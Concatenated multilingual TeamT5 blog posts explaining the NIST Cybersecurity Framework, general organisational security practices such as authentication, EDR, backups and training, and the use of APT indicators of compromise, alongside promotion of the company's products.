The scope of application of this version is not only for critical infrastructure, but also companies and organizations in various industries. They all can follow this framework for cybersecurity deployment.

![pic_what-is-nist-cybersecurity-framework.png](https://uploads.teamt5.org/upload/original/pic_what-is-nist-cybersecurity-framework.png)
<center>Source: National Institute of Standards and Technology (NIST)</center>

 
 
>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences. Our threat intelligence research expertise and solutions are recognized as the 2023 Company of the Year Award in Taiwanese Threat Intelligence by Frost & Sullivan. 
>
> Contact us and start cyber defence plan: [https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blogs&utm_medium=website)

What is the NIST Cybersecurity Framework? What are the Core Concepts?

##什麼是 NIST 資安框架?

NIST 資安框架全稱為 NIST Cybersecurity Framework，是由美國國家標準與技術研究所提出，透過系統性、完整架構的標準，協助企業檢視自身資安防禦的不足，並針對特定項目進行補強。

 資安框架由3種元素組成，包含框架核心(Framework Core)、框架層級(Implementation Tiers)、框架輪廓(Profiles)，以利企業各部門成員可基於同一套文件，詳細討論資安防禦的措施。

##NIST 資安框架 1.0 的核心是什麼?

![what-is-nist-cybersecurity-framework_pic.jpg](https://uploads.teamt5.org/upload/original/what-is-nist-cybersecurity-framework_pic.jpg)

本文特別說明 NIST 資安框架的核心，其分為5個項目，包含：
 
 
**1. Identify 辨識**
 
企業應了解資安防禦面涵括的範圍，了解可能遭遇的資安威脅。

**2. Protect 保護**
 
企業應做好權限控管，建立基本資安防禦。

**3. Detect 偵測**
 
企業應全面監控資訊環境、端點設備的營運狀況，以便及時測知軟體可疑行為，同時也進行完整紀錄。可採用的工具如端點偵測應變解決方案。

**4. Respond 應變**
 
若企業偵查到可疑軟體行為，宜快速應變，詳盡調查，避免造成營運損失。

**5. Recover 復原**
 
倘若可疑軟體行為造成系統實際損害、資料外洩等問題，應尋找資安專家處理，進行復原。也將復原過程做成檢討紀錄，避免未來遭遇類似資安損害事件。

## NIST 資安框架 2.0 簡介
2024年，NIST 發布資安框架 2.0 版本，共有六大核心，除了前述的五大核心 —- 辨識、保護、偵測、應變、復原，新增「治理 (Govern)」，指引組織制定和執行網路資安的策略。

而此版本的適用範圍，不僅針對關鍵基礎設施，各類產業的公司、組織都可依循此框架，進行資安部署。

![pic_what-is-nist-cybersecurity-framework.png](https://uploads.teamt5.org/upload/original/pic_what-is-nist-cybersecurity-framework.png)
<center>圖片來源: National Institute of Standards and Technology (NIST)</center>

 
關鍵字: NIST 網路資安框架、NIST CSF
 
 

>TeamT5 杜浦數位安全團隊專精網路威脅研究，提供端點偵測與回應(EDR)解決方案。協助美日臺大型企業有效保護商業機密文件，營運不受網路攻擊影響。
 
>輕鬆展開企業資安防禦第一步，立即聯絡我們：
[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)

什麼是 NIST 資安框架? 核心概念是什麼?

TeamT5 は、包括的なサイバー脅威インテリジェンスを提供します。 私たちは、企業がインテリジェンスを活用してサイバー攻撃を防御できるよう支援することを目指しています。


フォームにご記入いただくと、日本向けにカスタマイズされたインテリジェンス レポートをお受け取りいただけます。

![resource-japan-threat-intelligence-reports_pic1.jpg](https://uploads.teamt5.org/upload/original/resource-japan-threat-intelligence-reports_pic1.jpg)


【リソース】TeamT5 が特定したG7関連のAPT攻撃 + TeamT5 の攻撃者分析 レポート

セキュリティは、情報、資産、システム、ネットワーク、および人々を不正なアクセスや危害から保護することを含む重要な概念です。 組織のセキュリティを確保するには、悪意のある攻撃や悪用の恐れなく、すべての従業員が安全に作業できる安全な環境を構築することが含まれます。


組織はサイバー攻撃だけでなく、盗難や破壊行為などの物理的な脅威からも身を守る必要があります。 サイバーセキュリティは、ハッカーによる機密データの盗難や漏洩を防ぐため、今日のデジタル世界では特に重要です。

## 組織を保護するためのツールと実践方法
セキュリティに関しては、組織の安全を確保するために役立つツールや実践方法が数多くあります。 組織には、ファイアウォール、ウイルス対策ソフトウェア、VPNなどの技術的ソリューションから、アクセス制御システムや監視カメラなどの物理的なセキュリティ対策まで、資産を保護するためのさまざまなツールがあります。 組織を保護するために使用できるベストプラクティスをいくつか見てみましょう。

### 1.オンプレミスのセキュリティ
オンプレミスセキュリティとは、組織の物理インフラストラクチャ内にインストールおよび運用されるセキュリティツールとプラクティスを使用することを指します。 このセキュリティへのアプローチにより、組織にセキュリティ対策の制御と監視を強化し、組織固有のニーズに合わせて対策を調整する力を提供します。

組織がオンプレミス環境を保護するために使用できるツールの一部を次に示します。
- ファイアウォールは、送受信されるネットワークトラフィックを監視し、組織のネットワークへの不正アクセスをブロックするセキュリティツールです。 これらはハードウェアベースまたはソフトウェアベースであり、特定の種類のトラフィックをブロックしたり、信頼できる送信元からのトラフィックのみを許可したりするように構成できます。
侵入検知および防御システム（IDPS）は、ネットワークトラフィックを監視して、脆弱性を悪用しようとする試みや異常なトラフィックパターンなど、悪意のある活動の兆候がないか確認します。 IDPSは、特定の送信元からのトラフィックをブロックするなど、攻撃を防ぐためのアクションを実行するように構成することもできます。
- アクセス制御は、機密情報やリソースへのアクセスを許可されたユーザーのみに制限するセキュリティ対策です。 オンプレミスのアクセス制御には、パスワードポリシー、2要素認証、ロールベースのアクセス制御などの対策を含めることができます。
- パッチ管理ツールは、組織がネットワーク上のすべてのデバイスにパッチを特定して展開するプロセスを自動化するのに役立ちます。 最新のセキュリティパッチを適用してソフトウェアを最新の状態に保つことは、あらゆるセキュリティ戦略にとって不可欠です。

オンプレミス セキュリティのトピックへの追加点として、一部の企業 (当社のような) は、高レベルのセキュリティとデータの制御を必要とする組織の特定のニーズを満たすために、オンプレミス セキュリティ ソリューションを提供しています。 オンプレミスモードでは、組織はすべてのデータを独自のサーバーに保持しながら、ファイアウォール、侵入検知システム、マルウェア対策ソフトウェアなどのセキュリティ対策を完全に制御できます。 これは、厳格なデータセキュリティ要件と規制が遵守されている軍事部隊や銀行などの組織にとって特に重要です。

## 2.認証と承認のプロセス
認証プロセスは、組織のデジタル資産を保護し、不正アクセスを防止するために不可欠なツールです。 認証はユーザーまたはデバイスの身元を確認するプロセスであり、承認はユーザーまたはデバイスがシステム内で実行できるアクションを決定するプロセスです。 次のようないくつかの認証方法を使用できます。

- パスワードベースの認証は、最も一般的に使用される認証方法であり、ユーザーはシステムにアクセスするためにユーザー名とパスワードを入力する必要があります。 セキュリティを強化するには、強力なパスワードを推奨し、パスワードの有効期限や2要素認証などのポリシーを実装することが不可欠です。

- 生体認証は、指紋、顔認識、音声認識などのユーザー固有の身体的特徴を使用して身元を認証します。

- 多要素認証では、ユーザーは、パスワードと、モバイルデバイスによって生成されたワンタイムコード、または指紋とスマートカードなど、2つ以上の認証形式を提供する必要があります。

ユーザーが認証されると、承認プロセスが開始され、システム内でユーザーが実行できるアクションが決定されます。 承認は、役割、権限、または場所、時刻、デバイスの種類などの属性に基づいて行うことができます。


アクセス制御リスト（ACL）およびロールベースのアクセス制御（RBAC）を実装すると、機密データやリソースへのアクセスを必要な権限を持つユーザーのみに制限することで、承認プロセスの管理に役立ちます。

### 3. APTとランサムウェア防御

APT（Advanced Persistent Th特定）とランサムウェア攻撃は、今日の組織が直面している最も一般的で壊滅的なタイプのサイバー攻撃の2つです。 APT は、長期間にわたって機密データへの不正アクセスを取得することを目的とした、高度に標的を絞った攻撃です。一方、ランサムウェア攻撃には、データの暗号化と、復号化キーと引き換えに支払いの要求が伴います。 APTやランサムウェアから防御するには、予防策と対応策を含む包括的なセキュリティ戦略を採用する必要があります。

- セキュリティ情報とイベント管理（SIEM）ツールは、組織がネットワークを監視し、APTまたはランサムウェア攻撃を示す可能性のある異常なアクティビティを検出するのに役立ちます。 これらのツールは、組織がインシデントを調査し、セキュリティ問題の根本原因を特定するのにも役立ちます。
- エンドポイントの検出と対応（EDR）ソリューションは、従来のウイルス対策ソフトウェアを回避する可能性のある高度な脅威を検出し、対応するように設計されています。 これらのソリューションは、組織がエンドポイントでAPTとランサムウェアを検出し、発生した損害を封じ込めて修復するのに役立ちます。
- 重要なデータの定期的なデータバックアップは、暗号化されたデータを以前の暗号化されていない状態に復元することで、組織がランサムウェア攻撃から回復するのに役立ちます。 組織は、攻撃が発生した場合にバックアップが侵害されるのを防ぐために、安全なオフサイトの場所にバックアップを保存する必要があります。
- インシデント対応計画：組織は、APTまたはランサムウェア攻撃が発生した場合に取るべき手順を概説した包括的なインシデント対応計画を作成する必要があります。 この計画には、影響を受けるシステムの隔離、利害関係者への通知、法執行機関やその他の第三者の専門家との連携の手順を含める必要があります。

当社のサービスはAIと複数のルールに基づいており、クライアントがサイバー攻撃、特にAPTやランサムウェアと戦うのを支援します。 当社と協力することで、お客様の特定のニーズに合わせた包括的なセキュリティを実装するThreatSonarアンチランサムウェア対策ソリューションの恩恵を受けることができます。

### 4.従業員のトレーニングと意識向上
技術的なツールとソリューションは組織の安全を確保するために不可欠ですが、従業員のトレーニングと意識への投資も重要です。 多くのサイバー攻撃は人為的ミスや過失の結果であるため、従業員は組織のセキュリティチェーンの中で最も弱い部分になることが
あります。

フィッシングメール、ソーシャルエンジニアリング詐欺、パスワード攻撃などの一般的なセキュリティ脅威を認識して回避できるように従業員をトレーニングすることは、攻撃の成功を防ぐのに大いに役立ちます。 さらに、従業員にサイバーセキュリティの最新トレンドを知らせ、セキュリティ意識の文化を醸成することで、従業員がセキュリティを真剣に受け止め、不審なアクティビティを組織の IT チームまたはセキュリティ チームに報告するよう促すことができます。

また、サイバーセキュリティ担当者を継続的にトレーニングして、最新の脅威に備えることも重要です。 たとえば、サイバー レンジ トレーニングでは、IT および OT/ICS 攻撃のシミュレーション、実際のセキュリティ ツール、詳細な指標と分析を使用してセキュリティ オペレーション センターとインシデント対応チームが次の攻撃に備える事を確実にするために行われます。

模擬フィッシング演習やその他の形態のサイバーセキュリティトレーニングを含む定期的なセキュリティ意識向上トレーニングは、従業員が最新のセキュリティ脅威とベストプラクティスについて最新の情報を入手できるようにするのに役立ちます。

## 結論
安全な環境を確保することは、組織の成功にとって非常に重要です。 信頼の向上、法的責任の軽減、効率の向上、評判の向上などのメリットが得られるため、価値ある投資となります。

サイバー脅威が進化し、より高度になるにつれて、組織の保護を支援するために、私たちのような信頼できるパートナー、TeamT5を持つことが重要です。 当社の専門アナリストとThreatSonar アンチランサムウェアテクノロジーにより、お客様のビジネスの安全性は、安心して任せて頂けます。

 
 
※この記事はサイバーニュースとの連携によるものです。
 
※画像提供：Pexels

組織のセキュリティを確保する：ベストツールとプラクティス

Security is an important concept that encompasses the protection of information, assets, systems, networks, and people from unauthorized access or harm. Securing an organization involves creating a secure environment in which all personnel can safely conduct their work without fear of malicious attack or exploitation.

Organizations need to protect themselves against cyber-attacks as well as physical threats such as theft or vandalism. Cybersecurity is especially important in today's digital world, as it can prevent hackers from stealing or compromising sensitive data. 

## Tools and Practices to Secure Your Organization 
When it comes to security, there are many tools and practices that can help organizations stay safe. Organizations have various tools to protect their assets, from technical solutions such as firewalls, anti-virus software, and [VPNs](https://cybernews.com/best-vpn/vpn-for-mac/) to physical security measures like access control systems and surveillance cameras. 
Let's look at some of the best practices you can use to secure your organization.


###1. On-Premise Security
On-premise security refers to using security tools and practices installed and operated within an organization's physical infrastructure. This approach to security provides organizations with more control and oversight over their security measures and the ability to tailor those measures to their organization's specific needs. 

Here are some of the tools that organizations can use to secure their on-premises environments:

- **Firewalls** are security tools that monitor incoming and outgoing network traffic and block unauthorized access to an organization's network. They can be hardware-based or software-based and can be configured to block specific types of traffic or to allow traffic from trusted sources only.
- **Intrusion detection and prevention systems (IDPS)** monitor network traffic for signs of malicious activity, such as attempts to exploit vulnerabilities or unusual traffic patterns. An IDPS can also be configured to take action to prevent attacks, such as blocking traffic from a particular source.
- **Access controls** are security measures that limit access to sensitive information or resources to authorized users only. On-premise access controls can include measures such as password policies, two-factor authentication, and role-based access controls.
- **Patch management tools** can help organizations automate the process of identifying and deploying patches to all devices on their network. Keeping software up-to-date with the latest security patches is essential to any security strategy. 

As an additional point to the topic of on-premise security, some companies (like [ours](https://teamt5.org/en/about-us/?utm_source=blogs&utm_medium=website)) offer on-premise security solutions to meet the specific needs of organizations that require high levels of security and control over their data.
Their on-premise mode allows organizations to have complete control over their security measures, including firewalls, intrusion detection systems, and anti-malware software, while keeping all data on their own servers. This is particularly important for organizations such as military units and banks, which have strict data security requirements and regulations to adhere to.

###2. Authentication and Authorization Processes 
Authorization processes are essential tools to secure an organization's digital assets and prevent unauthorized access. Authentication is the process of verifying the identity of a user or device, while authorization is the process of determining what actions a user or device is allowed to perform within the system.
There are several authentication methods available, including:
- **Password-based authentication** is the most commonly used authentication method, where users are required to enter a username and password to access the system. It’s essential to encourage strong passwords and implement policies such as password expiration and two-factor authentication to enhance security.
- **Biometric authentication** uses unique physical characteristics of the user, such as fingerprints, facial recognition, or voice recognition, to authenticate their identity.
- **Multi-factor authentication** requires users to provide two or more forms of authentication, such as a password and a one-time code generated by a mobile device or a fingerprint and a smart card.

Once a user is authenticated, authorization processes come into play to determine what actions they are allowed to perform within the system. Authorization can be based on roles, permissions, or attributes such as location, time of day, and device type.

Implementing access control lists (ACLs) and role-based access control (RBAC) can help manage authorization processes by restricting access to sensitive data and resources to only users with the necessary permissions.

### 3. APT and Ransomware Defense
APTs (Advanced Persistent Threats) and ransomware attacks are two of the most common and devastating types of cyberattacks that organizations face today. APTs are highly targeted and sophisticated attacks designed to gain unauthorized access to sensitive data over an extended period, while ransomware attacks involve the encryption of data and a demand for payment in exchange for the decryption key.
To defend against APTs and ransomware, organizations must adopt a comprehensive security strategy that includes preventative and responsive measures. 

- **Security Information and Event Management (SIEM)** Tools can help organizations monitor their networks and detect unusual activity that may be indicative of an APT or ransomware attack. These tools can also help organizations investigate incidents and identify the root cause of any security issues.
- **Endpoint Detection and Response (EDR) Solutions** are designed to detect and respond to advanced threats that may evade traditional antivirus software. These solutions can help organizations detect APTs and ransomware at the endpoint, as well as contain and remediate any damage that has been done.
- **Regular Data Backups** of critical data can help organizations recover from a ransomware attack by restoring the encrypted data to a previous, unencrypted state. Organizations should store backups in a secure, off-site location to prevent them from being compromised in the event of an attack.
- **Incident Response Planning**: Organizations should develop a comprehensive incident response plan that outlines the steps to take in the event of an APT or ransomware attack. This plan should include procedures for isolating affected systems, notifying stakeholders, and engaging with law enforcement and other third-party experts.

Our services are based on AI and multiple rules to help clients fight against cyber attacks, especially APT and ransomware. By working with us, you can benefit from our [ThreatSonar Anti-Ransomware](https://teamt5.org/en/products/threatsonar-anti-ransomware/) Solution, through which we implement comprehensive security tailored to your specific needs.

##4. Employee Training and Awareness
While technical tools and solutions are essential to securing an organization, investing in employee training and awareness is also important. Employees are often the weakest link in an organization's security chain, with many cyber-attacks being the result of human error or negligence.

Training employees to recognize and avoid common security threats such as phishing emails, social engineering scams, and password attacks can go a long way in preventing successful attacks. Additionally, informing employees about the latest cybersecurity trends and creating a culture of security awareness can encourage employees to take security seriously and report any suspicious activity to the organization's IT or security team. 

It’s also critical to continuously train cybersecurity practitioners so they are prepared for the latest threats. For example, [cyber range training](https://cybersecurityguide.org/resources/cyber-ranges/) prepares security operations center and incident response teams with simulated IT and OT/ICS attacks, real security tools, and detailed metrics and analysis to ensure they are ready for the next attack.

Regular security awareness training, including simulated phishing exercises and other forms of cybersecurity training, can help keep employees up-to-date on the latest security threats and best practices.

##Bottom Line
Having a secure environment is crucial for the success of any organization. The benefits of increased trust, reduced legal liability, improved efficiency, and enhanced reputation make it a worthwhile investment. 

As cyber threats continue to evolve and become more sophisticated, it's important to have a reliable partner like us – [TeamT5](https://teamt5.org/) – to help protect your organization. With our expert analysts and [ThreatSonar Anti-ransomware](https://teamt5.org/en/products/threatsonar-anti-ransomware/?utm_source=blogs&utm_medium=website) technology, you can rest assured that your business is in good hands. 
 
 
 
*The article is in collaboration with [Cybernews](https://cybernews.com/).
 
*Image courtesy: Pexels

Securing Your Organization: Best Tools And Practices

安全是一個重要的概念，包括保護資訊、資產、系統、網路和人員免受未經授權的訪問或傷害。 確保組織安全的關鍵在於創建一個安全的環境，使所有人員都可以安全地開展工作，而無需擔心惡意攻擊或手邊數位資產遭到濫用。

組織需要保護自己免受網路攻擊以及盜竊或破壞等物理威脅。 網路安全在當今的數位世界中尤其重要，因為它可以防止駭客竊取或洩露敏感數據。

## 確保組織安全的工具和實務做法

在安全方面，有許多工具和實務做法可以幫助組織達到安全營運的目標。 組織擁有各種工具來保護其資產，從防火牆、防毒軟體和 VPN 等技術解決方案，到權限控制系統、監控攝影機等物理安全措施。以下是可用於保護組織安全的實務做法、建議。

### 1. 地端安全
地端安全是指使用在組織的物理基礎設施內，所安裝、運行的安全工具和實務。 這種安全方法使組織能夠更好地控制和監督其安全措施，也可根據組織的特定需求，客製化這些措施。

- 防火牆(firewall)是一種安全軟體，用於監視傳入和傳出的網路流量並阻止對組織網路未經授權之訪問。 它們可以基於硬體或基於軟體，並且可以配置為阻止特定類型的流量或僅允許來自可信來源的流量。
- 入侵檢測和防禦系統 (intrusion detection and prevention systems) 監視網路流量是否存在惡意活動跡象，例如嘗試利用漏洞或異常流量模式。 IDPS 還可以配置特定措施，防止攻擊，例如阻止來自特定來源的流量。
- 權限控制(access control)是一種安全措施，僅允許授權用戶訪問敏感資訊或資源。 地端訪問控制可以包括密碼策略、雙因素身份驗證和基於角色的權限控制等措施。
- 補丁管理工具(patch management tool)可以幫助組織自動化識別補丁，並協助將其部署到網路上所有設備的過程。 讓軟體保持最新的安全補丁對於任何安全策略都是至關重要。

作為地端安全主題的另一個要點，一些公司（例如[我們公司](https://teamt5.org/tw/about-us/?utm_source=blogs&utm_medium=website)）提供端點安全解決方案，以滿足需要高安全性和資料控制的組織之特定需求。 它們的地端模式允許組織完全控制其安全措施，包括防火牆、入侵檢測系統和反惡意軟體，同時將所有資料保留在自己的服務器上。 這對於軍事單位和銀行等組織尤其重要，因為它們有嚴格的資料安全要求和法規遵循需求。

### 2. 認證和授權流程
授權流程是保護組織數位資產，並防止未經授權的訪問的重要工具。 身份驗證是驗證用戶或設備身份的過程，而授權是確定允許用戶或設備在系統內執行哪些操作的過程。 有多種身份驗證方法可用，包括：

- 基於密碼的身份驗證是最常用的身份驗證方法，用戶需要輸入用戶名和密碼才能訪問系統。 鼓勵使用強密碼並實施密碼過期和雙因素身份驗證等策略，來增強安全性，是十分重要的做法。
- 生物辨識身份驗證使用用戶獨特的身體特徵（例如指紋、面部辨識或語音辨識）來驗證其身份。
- 多重身份驗證要求用戶提供兩種或多種形式的身份驗證，例如密碼和移動設備生成的一次性代碼、指紋、智慧卡片。

一旦用戶通過身份驗證，授權過程就會開始發揮作用，以允許他們在系統內執行哪些操作。 授權可以基於角色、權限或屬性，例如位置、一天中的特定時段和設備類型。

實施權限控制列表 (implementing access control list) 和基於角色的權限控制 (role-based access control) 可以通過將對敏感資訊和資源的訪問限制為「僅具有必要權限」的用戶，以協助組織管理授權流程。

### 3. APT和勒索軟體防禦

APT（進階持續性威脅）和勒索軟體攻擊是組織當今面臨的兩種最常見、最具破壞性的網路攻擊類型。 APT 是具有高度針對性和複雜性的攻擊，旨在在較長時間內獲得對敏感資料之未經授權的訪問，而勒索軟體攻擊涉及數據加密和要求付款以換取解密密鑰。

為了防禦 APT 和勒索軟體，組織必須採用包括預防和回應措施等全面安全策略。

- 安全資訊和事件管理 (security information and event M\management , SIEM) 工具可以幫助組織監控其網路並檢測可能表明 APT 或勒索軟體攻擊的異常活動。這些工具還可以幫助組織調查事件，並確定任何安全問題的根本原因。
- 端點檢測和回應 (endpoint detection and response, EDR) 解決方案旨在檢測和回應可能逃避傳統防毒軟體的高階威脅。 這些解決方案可以幫助組織在端點檢測 APT 和勒索軟體，並遏制和修復已造成的任何損害。
- 關鍵數據進行定期備份，可以通過將被加密數據恢復到之前的未加密狀態，來幫助組織從勒索軟體攻擊中恢復。 組織應將備份存儲在安全的異地位置，以防止它們在發生攻擊時受到損害。
- 事件應變計劃：組織應制定全面的事件應變計劃，概述發生 APT 或勒索軟體攻擊時應採取的步驟。 該計劃應包括隔離受影響系統、通知利益相關者以及與執法部門和其他第三方專家合作的程序。

我們的服務基於人工智慧和多種規則，幫助客戶抵禦網路攻擊，特別是 APT 和勒索軟體。 通過與我們合作，您可以從我們的 ThreatSonar Anti-Ransomware 威脅鑑識分析與回應解決方案中受益，通過該解決方案，我們可以根據您的特定需求，實施全面的安全保護。

### 4. 員工培訓和意識
雖然技術工具和解決方案對於保護組織至關重要，但對員工培訓和意識的投資也很重要。 員工往往是組織安全鏈中最薄弱的環節，許多網路攻擊是人為錯誤或疏忽造成。

培訓員工識別和避免常見的安全威脅（例如網路釣魚電子郵件、社會工程詐騙和密碼攻擊）可以大大有助於防止成功的攻擊。 此外，向員工通報最新的網路安全趨勢，並營造資訊安全意識文化可以鼓勵員工認真對待資訊安全，並向組織的 IT 或資安團隊報告任何可疑活動。

持續培訓資訊安全從業人員也很重要，以便他們為最新的威脅做好準備。 例如，數位攻防靶場培訓為安全運營中心（SOC）和事件應變團隊提供模擬 IT 和 OT/ICS 攻擊、真正的安全工具以及詳細的指標和分析，以確保他們為下一次攻擊做好準備。

定期的安全意識培訓，包括模擬網路釣魚練習和其他形式的網路安全培訓，可以幫助員工了解最新的安全威脅和最佳實踐。

## 總結
擁有安全的環境對於任何組織的成功都至關重要。 增加信任、減少法律責任、提高效率和提高聲譽的好處使其成為一項值得的投資。

隨著網路威脅不斷演變、複雜化，擁有像我們這樣可靠的合作夥伴 - TeamT5 杜浦數位安全 - 來幫助保護您的組織非常重要。 透過我們的專業威脅情資分析團隊和 [ThreatSonar Anti-ransomware](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blogs&utm_medium=website) 解決方案，您可以放心，您的業務將得到妥善保護。



*本文與 [Cybernews](https://cybernews.com/) 合作。
*圖片提供：Pexels



保護您的組織：最佳工具和實務做法

IoC (侵害指標) の利用は効果的な企業のサイバーセキュリティオペレーションにとって重要です。サイバーセキュリティソリューションプロバイダーが長年に渡り蓄積した侵入の手がかりと広範な探索を通じて、IoCは企業が侵入を特定して防御することを可能にし、それにより損失を最小限に抑えることができます。

一般企業がIOCを利用する場合、IOCをさまざまなネットワーク機器やソフトウェアツールに取り込み、環境のあらゆる場所に監視を設定し、担当者がこれを検知し、遮断、隔離、削除などの対策を講じることができます。

一般的な脅威防御メカニズムに加えて、APT IoCはサイバー攻撃を防止し、企業が情報に基づいてサイバーセキュリティの決定を事前に行う事を可能にする上で重要な役割を果たします。

APT IoC は、サイバーセキュリティ アナリストとマルウェア研究者が実施した複雑なインシデント調査を通じて洗練された重要な指標を指します。 

各 IoC の出力は、特定の悪意のあるグループとその敵が採用した手法を表します。

 

**脅威インテリジェンス プラットフォームである ThreatVision の IoC を例に挙げると、IoC の背後には、次の 3 種類の豊富なデータがプラットフォームに組み込まれています。**

1. 悪意のあるグループのデータベース: 企業は、悪意のあるグループのデータを通じて、悪意のあるグループの背景と動機を理解し、特定のデジタル資産 (特定のサーバー、VM、データベースなど) に対する防御的な展開を事前に実行できます。
2. 悪意のあるプログラム データベース: 悪意のあるプログラム データベースは、企業の技術者が正しく効果的な防御ツールを選択し、適切に展開するのに役立つ、より多くの技術的な詳細を提供します。
3. 脅威インテリジェンス レポート: 
企業は、脅威インテリジェンス レポートを参照して、自社の状況がレポートの内容と一致しているかどうかを確認することができます。また企業はサイバー防御の展開により最新のサイバー脅威を確実に防御できるようになります。

 

**APT IoC の正しい使用プロセスには、次の手順が含まれている必要があります。**
1. 環境内のネットワーク機器および情報セキュリティ ソフトウェアに APT IoC を適切に導入します。 導入は、完全性と一貫性を確保するために自動ツールを使用して行うのが最適です。
2. アラートが発生した場合は、マルウェアのブロック、隔離、削除など、直ちに対処する必要があります。 タイムリーな行動により、被害とリスクを軽減できます。
3. 処理が完了したら、事件の詳細な調査が必要になります。 インテリジェンスプラットフォームを通じてIoCの発生源と原因を収集し、攻撃者の身元と目的を特定すると同時に、当該インシデントが自身と同質性の高い業界でどのように発生したのかを確認します。 これにより、企業はこの悪意のあるグループの攻撃手法と攻撃ツールをより深く理解し、対象を絞った防御を実行できるようになります。
4. 情報セキュリティツールの正しい選択と設定、より完全な企業情報セキュリティシステムの構築など、的を絞った防御措置を講じます。 これは、企業のセキュリティを強化し、重要なデータの機密性を保護するのに役立ちます。
5. 持続的標的型攻撃(APT攻撃)はターゲット企業の特定の脆弱性を突く攻撃をする特徴があります。したがって、企業は正しい防御措置を講じるために、攻撃者/悪意のあるグループをより包括的に理解する必要があります。

 

TeamT5は、アジア太平洋地域の攻撃者関する広範なデータベースを提供する強力な脅威インテリジェンスプラットフォームである[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blogs&utm_medium=website)を提供します。 

このプラットフォームは包括的且つ完全な詳細情報を含むナラティブ形式および段落形式で表示される脅威インテリジェンスレポートを提供するため、企業は脅威イベントを迅速に理解し、そうしたイベントの対処を通して貴重な経験を得ることができます。


ThreatVision脅威インテリジェンスプラットフォームは、APT IoCを含む広範なコンテンツをカバーしており、これはThreatVisionの膨大なアドバーサリ（攻撃者)、マルウェア、およびその他の脅威インテリジェンスレポートと関連付けることができ、企業がサイバーセキュリティの脅威を包括的に理解し高度な展開戦略を実装するのに役立ちます。 

敵を知り己を知れば百戦危うからず。
情報セキュリティの分野において、TeamT5 はあなたのベストパートナーです。

積極的な情報セキュリティ防御のために APT 侵入インジケーターを正しく使用するには?

The use of Indicators of Compromise (IoC) is critical for effective enterprise cybersecurity operations. With the help of cybersecurity solution providers' extensive search for intrusion clues, IoC enables enterprises to identify and block intrusions, thereby minimizing losses.

Enterprises utilize IoC import into various network devices and software tools to establish monitoring across their entire environment. When an IoC is detected by a device or software, it triggers an alarm, allowing cybersecurity personnel to detect and deal with the threat by blocking, isolating, and clearing it.

In addition to general threat defense mechanisms, APT IoCs play a crucial role in preventing cyber attacks and enabling enterprises to make informed cybersecurity decisions in advance. APT IoCs are key indicators refined through complex incident investigations conducted by cybersecurity analysts and malware researchers. The output of each IoC represents a specific adversary and the methods employed by the adversary, providing valuable intelligence to strengthen cybersecurity posture.

APT IoC refers to the key indicators refined through complex incident investigations conducted by cybersecurity analysts and malware researchers. The output of each IoC represents a specific adversary and intrusion methods. 

Take the IoC from ThreatVision(a powerful threat intelligence platform) as an example. Users can link IoC to three types of rich data built in the platform:
1. Adversary database: Through adversary data, enterprises can understand the background and motivation of adversaries, and carry out defensive deployments for specific digital assets (such as specific servers, VMs, or databases) in advance.

2. Malicious program database: The malicious program database can provide more technical details to help enterprise technicians choose correct and effective defense tools and deploy them properly.

3. Threat intelligence report: Enterprises can also refer to the threat intelligence reports to confirm whether their own situation matches the description in the report. Also, enterprises can ensure their cyber defense deployment can defend recent cyber threats.


The correct APT IoC usage process should include the following steps:
1. Properly deploy APT IoC in network equipment and cybersecurity software in the environment. Deployment is best done using automated tools to ensure completeness and consistency.

2. When an alert occurs, it should be dealt with immediately, including blocking, quarantining, and removing malware. Timely action can reduce damage and risk.

3. Once disposition is complete, a detailed investigation of the incident will be required. Collect the source and cause of IoC through the intelligence platform, and determine the identity and purpose of the attacker, and at the same time confirm how the relevant incident occurred in an industry with high homogeneity with itself. This helps enterprises better understand the attack methods and attack tools of adversaries, so that they can carry out targeted defense.

4. Take targeted defense measures, including the correct selection and setting of cybersecurity tools, and the establishment of a more complete enterprise cybersecurity system. This helps to increase the security of the enterprise and protect the confidentiality of important data.

 
 
 

In Advanced Persistent Threat (APT) attacks, adversaries often target specific vulnerabilities in their target companies. To effectively defend against these attacks, enterprises need to have a comprehensive understanding of the adversaries and attackers behind them.

TeamT5 provides ThreatVision, a powerful threat intelligence platform, which offers an extensive database of adversaries in the Asia-Pacific region. This platform provides detailed and comprehensive threat intelligence reports in a narrative and paragraph style, enabling enterprises to quickly understand threat events and gain valuable experience in handling such events. Furthermore, the readability of these reports can improve the reporting efficiency of cybersecurity teams when communicating across teams.

The ThreatVision threat intelligence platform covers a wide range of content, including APT IoC which can link to ThreatVision's vast databases of adversaries, malware, and other threat intelligence reports to help enterprises gain a comprehensive understanding of cybersecurity threats and implement advanced deployment strategies. By leveraging ThreatVision's powerful features, enterprises can enhance their cybersecurity posture and protect themselves against the ever-evolving threat landscape.

 
 

Know yourself and the enemy, and you will never be imperiled in a hundred battles. On the road of cybersecurity, TeamT5 is your best partner.

How to Utilize APT IoC to Do Proactive Defense?

IOC (Indicator of Compromise) 中文稱「入侵指標」，在企業資安的營運中已是不可或缺的工具，經由資安廠商長期廣泛情蒐所累積的入侵線索，協助初步發現駭客入侵痕跡，即時阻擋駭客入侵行為，以最大化的降低資安事件發生時所造成的損失。

一般企業在使用 IOC 時，會將 IOC 匯入各種網路設備以及軟體工具中，以便在環境各處設置監控，經由設備或軟體偵測到 IOC 時，設備或軟體會進行報警，讓資安人員能夠察知，並且進行阻擋、隔離、清除等處置。

但除了一般的阻擋、隔離、清除等處置外，APT IOC —— 針對[進階持續性威脅(Advanced Persistent Threat)](https://teamt5.org/tw/posts/what-is-advanced-persistent-threat-apt/)的 IOC ——更扮演了重要的威脅防禦參考，可以幫助企業於駭客下手前，提前做出正確資安決策。

APT IOC 指的是透過資安分析師及惡意程式研究員進行複雜的事件調查，所精煉出的關鍵指標。每一個IOC的產出背後都代表著特定惡意族群及駭客手法。**以威脅情資平台 ThreatVision 的 IOC 為例，IOC 背後可連結平台內建的 3 類豐富資料**: 
1. 惡意族群資料庫: 透過惡意族群資料，企業可以了解惡意族群的背景、動機，並提前對特定數位資產(如特定伺服器、VM或是資料庫)進行防備部署。
